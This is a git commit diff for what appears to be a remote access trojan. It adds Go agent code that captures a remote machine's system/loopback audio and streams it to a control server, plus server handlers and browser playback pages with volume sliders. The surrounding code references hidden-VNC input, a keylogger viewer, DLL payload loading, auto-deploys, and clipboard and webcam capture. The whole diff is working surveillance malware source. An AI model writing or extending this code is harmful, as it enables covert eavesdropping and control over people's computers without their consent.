desktop audio and switches to turn up/down audio

This commit is contained in:
KingKDot
2026-04-16 17:19:56 -05:00
parent df95ea4771
commit 135091f6fa
15 changed files with 818 additions and 12 deletions
@@ -85,7 +85,7 @@ func ProbeCapabilities() Capabilities {
caps := Capabilities{
Available: true,
RequiresCGO: true,
Sources: []string{"default"},
Sources: []string{"default", "system"},
DefaultSource: "default",
}
@@ -350,3 +350,118 @@ func (s *Session) Close() error {
s.wg.Wait()
return nil
}
func StartCaptureOnlySession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) {
if onCapture == nil {
return nil, errors.New("capture callback is required")
}
source = strings.TrimSpace(source)
audioCtx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
if err != nil {
return nil, fmt.Errorf("audio init failed: %w", err)
}
ctx, cancel := context.WithCancel(parent)
s := &Session{
ctx: ctx,
cancel: cancel,
audioCtx: audioCtx,
uplink: make(chan []byte, 24),
queue: &playbackBuffer{},
}
capCfg := malgo.DefaultDeviceConfig(malgo.Capture)
capCfg.SampleRate = voiceSampleRate
capCfg.Capture.Format = malgo.FormatS16
capCfg.Capture.Channels = voiceChannels
useLoopback := false
if strings.EqualFold(source, "system") {
capCfg = malgo.DefaultDeviceConfig(malgo.Loopback)
capCfg.SampleRate = voiceSampleRate
capCfg.Capture.Format = malgo.FormatS16
capCfg.Capture.Channels = voiceChannels
useLoopback = true
} else if strings.HasPrefix(strings.ToLower(source), "device:") {
deviceName := strings.TrimSpace(source[len("device:"):])
deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, deviceName)
if !ok || deviceID == nil {
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio capture device was not found: %s", deviceName)
}
capCfg.Capture.DeviceID = deviceID.Pointer()
} else if source != "" && !strings.EqualFold(source, "default") && !strings.EqualFold(source, "microphone") {
deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, source)
if !ok || deviceID == nil {
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio capture device was not found: %s", source)
}
capCfg.Capture.DeviceID = deviceID.Pointer()
}
capCallbacks := malgo.DeviceCallbacks{
Data: func(_, input []byte, _ uint32) {
if len(input) == 0 {
return
}
chunk := append([]byte(nil), input...)
select {
case s.uplink <- chunk:
default:
select {
case <-s.uplink:
default:
}
select {
case s.uplink <- chunk:
default:
}
}
},
}
capDev, err := malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks)
if err != nil && useLoopback {
capCfg = malgo.DefaultDeviceConfig(malgo.Capture)
capCfg.SampleRate = voiceSampleRate
capCfg.Capture.Format = malgo.FormatS16
capCfg.Capture.Channels = voiceChannels
deviceID, _, ok := findSystemCaptureDevice(audioCtx.Context)
if !ok || deviceID == nil {
audioCtx.Free()
cancel()
return nil, errors.New("system audio capture device was not found on this client")
}
capCfg.Capture.DeviceID = deviceID.Pointer()
capDev, err = malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks)
}
if err != nil {
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio capture init failed: %w", err)
}
s.capture = capDev
if err := capDev.Start(); err != nil {
s.capture.Uninit()
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio capture start failed: %w", err)
}
s.wg.Add(1)
go func() {
defer s.wg.Done()
for {
select {
case <-s.ctx.Done():
return
case chunk := <-s.uplink:
onCapture(chunk)
}
}
}()
return s, nil
}
@@ -30,3 +30,7 @@ func (s *Session) WritePlayback(_ []byte) error {
func (s *Session) Close() error {
return nil
}
func StartCaptureOnlySession(_ context.Context, _ string, _ func([]byte)) (*Session, error) {
return nil, errors.New("native voice support requires a CGO-enabled build")
}
+73 -7
View File
@@ -29,13 +29,15 @@ import (
var ErrReconnect = errors.New("reconnect requested")
var (
activeCommands = make(map[string]context.CancelFunc)
activeCommandsMu sync.Mutex
voiceSessionMu sync.Mutex
voiceSession *voiceRuntime
hvncInputOnce sync.Once
hvncInputQueue chan hvncInputEvent
hvncInputDropped atomic.Uint64
activeCommands = make(map[string]context.CancelFunc)
activeCommandsMu sync.Mutex
voiceSessionMu sync.Mutex
voiceSession *voiceRuntime
desktopAudioMu sync.Mutex
desktopAudioSession *voiceRuntime
hvncInputOnce sync.Once
hvncInputQueue chan hvncInputEvent
hvncInputDropped atomic.Uint64
)
type hvncInputKind int
@@ -455,6 +457,54 @@ func writeVoiceDownlink(data []byte) error {
return nil
}
func stopDesktopAudioSession() {
desktopAudioMu.Lock()
v := desktopAudioSession
desktopAudioSession = nil
desktopAudioMu.Unlock()
if v == nil {
return
}
if v.cancel != nil {
v.cancel()
}
if v.session != nil {
_ = v.session.Close()
}
}
func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
if sessionID == "" {
return errors.New("missing desktop audio session id")
}
stopDesktopAudioSession()
vCtx, cancel := context.WithCancel(ctx)
session, err := audio.StartCaptureOnlySession(vCtx, source, func(chunk []byte) {
if len(chunk) == 0 {
return
}
msg := map[string]interface{}{
"type": "desktop_audio_uplink",
"sessionId": sessionID,
"data": chunk,
}
_ = wire.WriteMsg(vCtx, env.Conn, msg)
})
if err != nil {
cancel()
return err
}
v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
desktopAudioMu.Lock()
desktopAudioSession = v
desktopAudioMu.Unlock()
return nil
}
func extractDLLBytes(payload map[string]interface{}) []byte {
if payload == nil {
return nil
@@ -1754,6 +1804,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
caps := audio.ProbeCapabilities()
payload, _ := json.Marshal(caps)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
case "desktop_audio_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
source := "system"
payload, _ := envelope["payload"].(map[string]interface{})
if payload != nil {
if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
source = strings.TrimSpace(v)
}
}
if err := startDesktopAudioSession(ctx, env, sessionID, source); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "desktop_audio_stop":
stopDesktopAudioSession()
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
}
switch action {
@@ -45,6 +45,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
const inputLatency = document.getElementById("inputLatency");
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const audioCtrl = document.getElementById("audioCtrl");
ws.binaryType = "arraybuffer";
let activeClientId = clientId;
@@ -98,6 +99,125 @@ import { checkFeatureAccess } from "./feature-gate.js";
h264KeyframeErrorStreak = 0;
}
/* ── Remote Desktop Audio (system audio from client) ── */
const AUDIO_SAMPLE_RATE = 16000;
const AUDIO_PLAYBACK_FRAME = 512;
const AUDIO_MAX_BUFFER_MS = 120;
let audioWs = null;
let audioPlayCtx = null;
let audioProcessorNode = null;
let audioChunks = [];
let audioChunkOffset = 0;
function audioResampleInt16ToFloat32(srcInt16, srcRate, dstRate) {
if (!srcInt16 || srcInt16.length === 0) return new Float32Array(0);
if (srcRate === dstRate) {
const out = new Float32Array(srcInt16.length);
for (let i = 0; i < srcInt16.length; i++) out[i] = srcInt16[i] / 0x8000;
return out;
}
const outLength = Math.max(1, Math.round((srcInt16.length * dstRate) / srcRate));
const out = new Float32Array(outLength);
const step = srcRate / dstRate;
for (let i = 0; i < outLength; i++) {
const srcPos = i * step;
const i0 = Math.floor(srcPos);
const i1 = Math.min(i0 + 1, srcInt16.length - 1);
const frac = srcPos - i0;
out[i] = (srcInt16[i0] * (1 - frac) + srcInt16[i1] * frac) / 0x8000;
}
return out;
}
function initAudioPlayback() {
if (!audioPlayCtx) {
audioPlayCtx = new AudioContext({ sampleRate: AUDIO_SAMPLE_RATE, latencyHint: "interactive" });
}
if (!audioProcessorNode) {
audioProcessorNode = audioPlayCtx.createScriptProcessor(AUDIO_PLAYBACK_FRAME, 1, 1);
audioProcessorNode.onaudioprocess = function (event) {
const out = event.outputBuffer.getChannelData(0);
out.fill(0);
let writeIndex = 0;
while (writeIndex < out.length && audioChunks.length > 0) {
const head = audioChunks[0];
const remaining = head.length - audioChunkOffset;
if (remaining <= 0) { audioChunks.shift(); audioChunkOffset = 0; continue; }
const take = Math.min(out.length - writeIndex, remaining);
out.set(head.subarray(audioChunkOffset, audioChunkOffset + take), writeIndex);
writeIndex += take;
audioChunkOffset += take;
if (audioChunkOffset >= head.length) { audioChunks.shift(); audioChunkOffset = 0; }
}
};
audioProcessorNode.connect(audioPlayCtx.destination);
}
}
function appendAudioPcm(binary) {
if (!audioPlayCtx) initAudioPlayback();
const samples = Math.floor(binary.byteLength / 2);
if (samples <= 0) return;
const src = new Int16Array(binary.buffer, binary.byteOffset, samples);
const chunk = audioResampleInt16ToFloat32(src, AUDIO_SAMPLE_RATE, audioPlayCtx?.sampleRate || AUDIO_SAMPLE_RATE);
if (chunk.length === 0) return;
audioChunks.push(chunk);
let buffered = -audioChunkOffset;
for (const c of audioChunks) buffered += c.length;
const rate = audioPlayCtx?.sampleRate || AUDIO_SAMPLE_RATE;
const max = Math.max(AUDIO_PLAYBACK_FRAME, Math.round(rate * (AUDIO_MAX_BUFFER_MS / 1000)));
while (buffered > max && audioChunks.length > 0) {
const dropped = audioChunks.shift();
buffered -= dropped?.length || 0;
audioChunkOffset = 0;
}
}
function connectAudio() {
if (audioWs && audioWs.readyState === WebSocket.OPEN) return;
// Create AudioContext in click/change handler so the browser trusts the user gesture.
initAudioPlayback();
if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume();
const proto = location.protocol === "https:" ? "wss:" : "ws:";
audioWs = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws");
audioWs.binaryType = "arraybuffer";
audioWs.onopen = function () {
audioWs.send(JSON.stringify({ type: "start", source: "system" }));
};
audioWs.onmessage = function (ev) {
if (typeof ev.data === "string") return;
const bytes = new Uint8Array(ev.data);
if (bytes.byteLength > 1) appendAudioPcm(bytes);
};
audioWs.onclose = function () { cleanupAudio(false); };
audioWs.onerror = function () {};
}
function disconnectAudio() {
if (audioWs) {
try { audioWs.send(JSON.stringify({ type: "stop" })); } catch {}
try { audioWs.close(); } catch {}
audioWs = null;
}
cleanupAudio(true);
}
function cleanupAudio(uncheckBox) {
if (audioProcessorNode) {
audioProcessorNode.disconnect();
audioProcessorNode.onaudioprocess = null;
audioProcessorNode = null;
}
if (audioPlayCtx) {
audioPlayCtx.close().catch(function () {});
audioPlayCtx = null;
}
audioChunks = [];
audioChunkOffset = 0;
audioWs = null;
if (uncheckBox && audioCtrl) audioCtrl.checked = false;
}
function resetH264SessionState() {
resetH264RuntimeState();
h264RecoveryAttempts = 0;
@@ -565,6 +685,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
desiredStreaming = false;
setStreamState("stopping", "Stopping stream");
sendCmd("desktop_stop", {});
disconnectAudio();
});
fullscreenBtn.addEventListener("click", function () {
if (canvasContainer.requestFullscreen) {
@@ -620,6 +741,15 @@ import { checkFeatureAccess } from "./feature-gate.js";
pushCaptureToggles();
});
}
if (audioCtrl) {
audioCtrl.addEventListener("change", function () {
if (audioCtrl.checked) {
connectAudio();
} else {
disconnectAudio();
}
});
}
if (qualitySlider) {
updateQualityLabel(qualitySlider.value);
@@ -1076,6 +1206,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
ws.addEventListener("close", function () {
desiredStreaming = false;
disconnectAudio();
destroyVideoDecoder();
setStreamState("disconnected", "Disconnected");
});
@@ -1217,6 +1348,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
desiredStreaming = false;
sendCmd("desktop_stop", {});
}
disconnectAudio();
destroyVideoDecoder();
}
+236 -1
View File
@@ -17,6 +17,13 @@ const remoteWaveCanvas = document.getElementById("remote-wave");
const sourceSelect = document.getElementById("source-select");
const muteSelfBtn = document.getElementById("mute-self-btn");
const muteRemoteBtn = document.getElementById("mute-remote-btn");
const micVolumeSlider = document.getElementById("mic-volume");
const micVolumeLabel = document.getElementById("mic-volume-label");
const remoteVolumeSlider = document.getElementById("remote-volume");
const remoteVolumeLabel = document.getElementById("remote-volume-label");
let micGain = 1.0;
let remoteGain = 1.0;
let ws = null;
let mediaStream = null;
@@ -25,6 +32,7 @@ let processorNode = null;
let captureAudioCtx = null;
let playAudioCtx = null;
let playProcessorNode = null;
let playGainNode = null;
let selfMuted = true;
let remoteMuted = true;
let playbackChunks = [];
@@ -236,6 +244,11 @@ function initPlaybackEngine() {
if (!playAudioCtx) {
playAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" });
}
if (!playGainNode) {
playGainNode = playAudioCtx.createGain();
playGainNode.gain.value = remoteGain;
playGainNode.connect(playAudioCtx.destination);
}
if (!playProcessorNode) {
playProcessorNode = playAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1);
playProcessorNode.onaudioprocess = (event) => {
@@ -266,7 +279,7 @@ function initPlaybackEngine() {
}
}
};
playProcessorNode.connect(playAudioCtx.destination);
playProcessorNode.connect(playGainNode);
}
}
@@ -293,6 +306,9 @@ async function startMicCapture() {
const inData = event.inputBuffer.getChannelData(0);
const downsampled = downsampleTo16k(inData, captureAudioCtx.sampleRate);
if (micGain !== 1.0) {
for (let i = 0; i < downsampled.length; i++) downsampled[i] *= micGain;
}
localWaveWrite = pushWaveSamples(localWaveBuffer, localWaveWrite, downsampled);
const pcm16 = floatToInt16(downsampled);
@@ -319,6 +335,10 @@ function stopMicCapture() {
playProcessorNode.onaudioprocess = null;
playProcessorNode = null;
}
if (playGainNode) {
playGainNode.disconnect();
playGainNode = null;
}
if (playAudioCtx) {
playAudioCtx.close().catch(() => {});
playAudioCtx = null;
@@ -437,6 +457,7 @@ async function loadCapabilities() {
}
const sources = Array.isArray(caps.sources) && caps.sources.length > 0 ? caps.sources : ["default"];
if (!sources.includes("system")) sources.push("system");
const defaultSource = caps.defaultSource && sources.includes(caps.defaultSource) ? caps.defaultSource : sources[0];
if (sourceSelect) {
@@ -468,6 +489,16 @@ muteRemoteBtn?.addEventListener("click", () => {
});
window.addEventListener("beforeunload", disconnectVoice);
micVolumeSlider?.addEventListener("input", () => {
micGain = parseInt(micVolumeSlider.value, 10) / 100;
if (micVolumeLabel) micVolumeLabel.textContent = micVolumeSlider.value + "%";
});
remoteVolumeSlider?.addEventListener("input", () => {
remoteGain = parseInt(remoteVolumeSlider.value, 10) / 100;
if (playGainNode) playGainNode.gain.value = remoteGain;
if (remoteVolumeLabel) remoteVolumeLabel.textContent = remoteVolumeSlider.value + "%";
});
updateMuteButtons();
drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
@@ -478,3 +509,207 @@ checkFeatureAccess("voice", clientId).then(ok => {
connectBtn.disabled = true;
}
});
/* =====================================================================
Desktop Audio – independent listen-only stream (system/loopback)
===================================================================== */
const daConnectBtn = document.getElementById("da-connect-btn");
const daDisconnectBtn = document.getElementById("da-disconnect-btn");
const daStatusPill = document.getElementById("da-status-pill");
const daWaveCanvas = document.getElementById("da-wave");
const daVolumeSlider = document.getElementById("da-volume");
const daVolumeLabel = document.getElementById("da-volume-label");
let daWs = null;
let daGain = 1.0;
let daPlayAudioCtx = null;
let daPlayProcessorNode = null;
let daPlayGainNode = null;
let daPlaybackChunks = [];
let daPlaybackChunkReadOffset = 0;
let daLevelLoop = false;
const DA_WAVE_SIZE = 2048;
const daWaveBuffer = new Float32Array(DA_WAVE_SIZE);
let daWaveWrite = 0;
function daSetStatus(text, cls) {
if (!daStatusPill) return;
daStatusPill.className =
"inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls;
daStatusPill.innerHTML = `<i class="fa-solid fa-circle"></i><span>${text}</span>`;
}
function daClearPlayback() {
daPlaybackChunks = [];
daPlaybackChunkReadOffset = 0;
}
function daStartLevelLoop() {
if (daLevelLoop) return;
daLevelLoop = true;
const tick = () => {
if (!daLevelLoop) return;
drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)");
requestAnimationFrame(tick);
};
requestAnimationFrame(tick);
}
function daStopLevelLoop() {
daLevelLoop = false;
daWaveBuffer.fill(0);
daWaveWrite = 0;
drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)");
}
function daInitPlaybackEngine() {
if (!daPlayAudioCtx) {
daPlayAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" });
}
if (!daPlayGainNode) {
daPlayGainNode = daPlayAudioCtx.createGain();
daPlayGainNode.gain.value = daGain;
daPlayGainNode.connect(daPlayAudioCtx.destination);
}
if (!daPlayProcessorNode) {
daPlayProcessorNode = daPlayAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1);
daPlayProcessorNode.onaudioprocess = (event) => {
const out = event.outputBuffer.getChannelData(0);
out.fill(0);
let writeIndex = 0;
while (writeIndex < out.length && daPlaybackChunks.length > 0) {
const head = daPlaybackChunks[0];
const remaining = head.length - daPlaybackChunkReadOffset;
if (remaining <= 0) {
daPlaybackChunks.shift();
daPlaybackChunkReadOffset = 0;
continue;
}
const needed = out.length - writeIndex;
const take = Math.min(needed, remaining);
out.set(head.subarray(daPlaybackChunkReadOffset, daPlaybackChunkReadOffset + take), writeIndex);
writeIndex += take;
daPlaybackChunkReadOffset += take;
if (daPlaybackChunkReadOffset >= head.length) {
daPlaybackChunks.shift();
daPlaybackChunkReadOffset = 0;
}
}
};
daPlayProcessorNode.connect(daPlayGainNode);
}
}
function daAppendPcm(binary) {
if (!daPlayAudioCtx) daInitPlaybackEngine();
const samples = Math.floor(binary.byteLength / 2);
if (samples <= 0) return;
const src = new Int16Array(binary.buffer, binary.byteOffset, samples);
const chunk = resampleInt16ToFloat32(src, UPLINK_SAMPLE_RATE, daPlayAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE);
if (chunk.length === 0) return;
daPlaybackChunks.push(chunk);
daWaveWrite = pushWaveSamples(daWaveBuffer, daWaveWrite, chunk);
const sampleRate = daPlayAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE;
const maxSamples = Math.max(PLAYBACK_FRAME_SIZE, Math.round(sampleRate * (MAX_PLAYBACK_BUFFER_MS / 1000)));
let buffered = -daPlaybackChunkReadOffset;
for (const c of daPlaybackChunks) buffered += c.length;
while (buffered > maxSamples && daPlaybackChunks.length > 0) {
const dropped = daPlaybackChunks.shift();
buffered -= dropped?.length || 0;
daPlaybackChunkReadOffset = 0;
}
}
function daCleanup() {
if (daPlayProcessorNode) {
daPlayProcessorNode.disconnect();
daPlayProcessorNode.onaudioprocess = null;
daPlayProcessorNode = null;
}
if (daPlayGainNode) {
daPlayGainNode.disconnect();
daPlayGainNode = null;
}
if (daPlayAudioCtx) {
daPlayAudioCtx.close().catch(() => {});
daPlayAudioCtx = null;
}
daStopLevelLoop();
daClearPlayback();
}
function daConnect() {
if (daWs && daWs.readyState === WebSocket.OPEN) return;
daClearPlayback();
daStartLevelLoop();
// Create AudioContext inside click handler so the browser trusts the user gesture.
daInitPlaybackEngine();
if (daPlayAudioCtx?.state === "suspended") daPlayAudioCtx.resume();
const proto = window.location.protocol === "https:" ? "wss" : "ws";
daWs = new WebSocket(`${proto}://${window.location.host}/api/clients/${encodeURIComponent(clientId)}/desktop-audio/ws`);
daWs.binaryType = "arraybuffer";
daWs.onopen = () => {
daSetStatus("Connecting", "border-blue-700 bg-blue-900/40 text-blue-100");
daConnectBtn.disabled = true;
daDisconnectBtn.disabled = false;
daWs.send(JSON.stringify({ type: "start" }));
};
daWs.onmessage = (ev) => {
if (typeof ev.data === "string") {
try {
const msg = JSON.parse(ev.data);
console.log("[desktop-audio] status message:", msg);
if (msg?.type === "status") {
if (msg.status === "offline") {
daSetStatus("Client Offline", "border-amber-700 bg-amber-900/30 text-amber-200");
} else if (msg.status === "connected") {
daSetStatus("Listening", "border-emerald-700 bg-emerald-900/40 text-emerald-100");
} else if (msg.status === "error") {
daSetStatus("Error", "border-red-700 bg-red-900/40 text-red-100");
}
}
} catch {}
return;
}
const bytes = new Uint8Array(ev.data);
if (bytes.byteLength > 1) daAppendPcm(bytes);
};
daWs.onclose = () => {
daCleanup();
daConnectBtn.disabled = false;
daDisconnectBtn.disabled = true;
daSetStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300");
};
daWs.onerror = () => {
daSetStatus("Error", "border-red-700 bg-red-900/40 text-red-100");
};
}
function daDisconnect() {
daCleanup();
if (daWs) {
try { daWs.send(JSON.stringify({ type: "stop" })); } catch {}
try { daWs.close(); } catch {}
daWs = null;
}
daConnectBtn.disabled = false;
daDisconnectBtn.disabled = true;
daSetStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300");
}
daConnectBtn?.addEventListener("click", daConnect);
daDisconnectBtn?.addEventListener("click", daDisconnect);
daVolumeSlider?.addEventListener("input", () => {
daGain = parseInt(daVolumeSlider.value, 10) / 100;
if (daPlayGainNode) daPlayGainNode.gain.value = daGain;
if (daVolumeLabel) daVolumeLabel.textContent = daVolumeSlider.value + "%";
});
window.addEventListener("beforeunload", daDisconnect);
drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)");
@@ -140,6 +140,9 @@
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Stream system audio from the remote machine"
><input type="checkbox" id="audioCtrl" /> <i class="fa-solid fa-volume-high text-slate-400"></i> Audio</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
<span class="text-slate-400">Smoothing</span>
<input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />
+50 -2
View File
@@ -54,16 +54,64 @@
<div class="mt-6 space-y-4">
<div>
<div class="text-sm text-slate-300 mb-1">Your Mic (You -> Client)</div>
<div class="flex items-center gap-3 mb-1">
<span class="text-sm text-slate-300">Your Mic (You -> Client)</span>
<div class="flex items-center gap-2 text-xs text-slate-400 ml-auto">
<i class="fa-solid fa-microphone"></i>
<input id="mic-volume" type="range" min="0" max="200" value="100" step="1" class="w-28 accent-cyan-500 cursor-pointer" />
<span id="mic-volume-label" class="w-10 text-right">100%</span>
</div>
</div>
<canvas id="local-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
</div>
<div>
<div class="text-sm text-slate-300 mb-1">Client Audio (Client -> You)</div>
<div class="flex items-center gap-3 mb-1">
<span class="text-sm text-slate-300">Client Audio (Client -> You)</span>
<div class="flex items-center gap-2 text-xs text-slate-400 ml-auto">
<i class="fa-solid fa-volume-high"></i>
<input id="remote-volume" type="range" min="0" max="200" value="100" step="1" class="w-28 accent-emerald-500 cursor-pointer" />
<span id="remote-volume-label" class="w-10 text-right">100%</span>
</div>
</div>
<canvas id="remote-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
</div>
<div class="text-xs text-slate-500">Uses native Go audio capture/playback on the client agent. If unavailable, rebuild agent with CGO enabled.</div>
</div>
</div>
<div class="max-w-4xl mx-auto mt-6 rounded-2xl border border-slate-800 bg-slate-900/70 p-6 shadow-xl">
<div class="flex items-center justify-between gap-3 flex-wrap">
<div>
<h1 class="text-2xl font-semibold"><i class="fa-solid fa-volume-high text-slate-400"></i> Desktop Audio</h1>
<p class="text-slate-400">Listen to the client's system audio (speakers/loopback). Listen-only, no mic.</p>
</div>
<span id="da-status-pill" class="inline-flex items-center gap-2 px-3 py-1.5 rounded-full border border-slate-700 bg-slate-800 text-slate-300">
<i class="fa-solid fa-plug-circle-xmark"></i><span>Disconnected</span>
</span>
</div>
<div class="mt-6 grid grid-cols-1 sm:grid-cols-2 gap-4">
<button id="da-connect-btn" class="px-4 py-3 rounded-lg border border-emerald-700 bg-emerald-900/40 hover:bg-emerald-800/60 text-emerald-100 font-medium">
<i class="fa-solid fa-play"></i> Start Listening
</button>
<button id="da-disconnect-btn" class="px-4 py-3 rounded-lg border border-red-700 bg-red-900/40 hover:bg-red-800/60 text-red-100 font-medium" disabled>
<i class="fa-solid fa-stop"></i> Stop Listening
</button>
</div>
<div class="mt-4">
<div class="flex items-center gap-3 mb-1">
<span class="text-sm text-slate-300">Desktop Audio (Client Speakers -> You)</span>
<div class="flex items-center gap-2 text-xs text-slate-400 ml-auto">
<i class="fa-solid fa-volume-high"></i>
<input id="da-volume" type="range" min="0" max="200" value="100" step="1" class="w-28 accent-amber-500 cursor-pointer" />
<span id="da-volume-label" class="w-10 text-right">100%</span>
</div>
</div>
<canvas id="da-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
</div>
<div class="mt-2 text-xs text-slate-500">Captures system/loopback audio from the client. Requires a Stereo Mix or loopback capture device enabled on the client machine.</div>
</div>
</main>
<script type="module" src="/assets/nav.js"></script>
<script type="module" src="/assets/voice.js"></script>
+10
View File
@@ -123,6 +123,12 @@ import {
handleVoiceViewerMessage,
handleVoiceViewerOpen,
} from "./server/ws-voice";
import {
cleanupDesktopAudioViewer,
handleDesktopAudioUplink,
handleDesktopAudioViewerMessage,
handleDesktopAudioViewerOpen,
} from "./server/ws-desktop-audio";
import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin";
import { loadOrGenerateVapidKeys } from "./server/web-push";
import * as clientManager from "./clientManager";
@@ -496,6 +502,7 @@ async function startServer() {
handleProcessViewerOpen,
handleKeyloggerViewerOpen,
handleVoiceViewerOpen,
handleDesktopAudioViewerOpen,
handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket<SocketData>) => {
const id = crypto.randomUUID();
ws.data.sessionId = id;
@@ -564,6 +571,7 @@ async function startServer() {
handleProcessViewerMessage,
handleKeyloggerViewerMessage,
handleVoiceViewerMessage,
handleDesktopAudioViewerMessage,
dispatchAutoScriptsForConnection,
dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket<SocketData>) => {
const proto = tls ? "https" : "http";
@@ -603,12 +611,14 @@ async function startServer() {
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
handleNotification: notificationPluginHandlers.handleNotification,
handleVoiceUplink,
handleDesktopAudioUplink,
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCDXGIStatus,
handleClipboardContent,
cleanupVoiceViewer,
cleanupDesktopAudioViewer,
stopConsoleOnTarget,
sendDesktopCommand,
sendHVNCCommand,
+2
View File
@@ -90,6 +90,8 @@ export type CommandType =
| "voice_session_stop"
| "voice_downlink"
| "voice_capabilities"
| "desktop_audio_start"
| "desktop_audio_stop"
| "process_list"
| "process_kill"
| "plugin_load"
@@ -44,6 +44,7 @@ type WsLifecycleDeps = {
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleDesktopAudioViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleChatViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleChatViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -55,6 +56,7 @@ type WsLifecycleDeps = {
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleDesktopAudioViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
@@ -79,12 +81,14 @@ type WsLifecycleDeps = {
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
handleDesktopAudioUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
@@ -153,6 +157,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
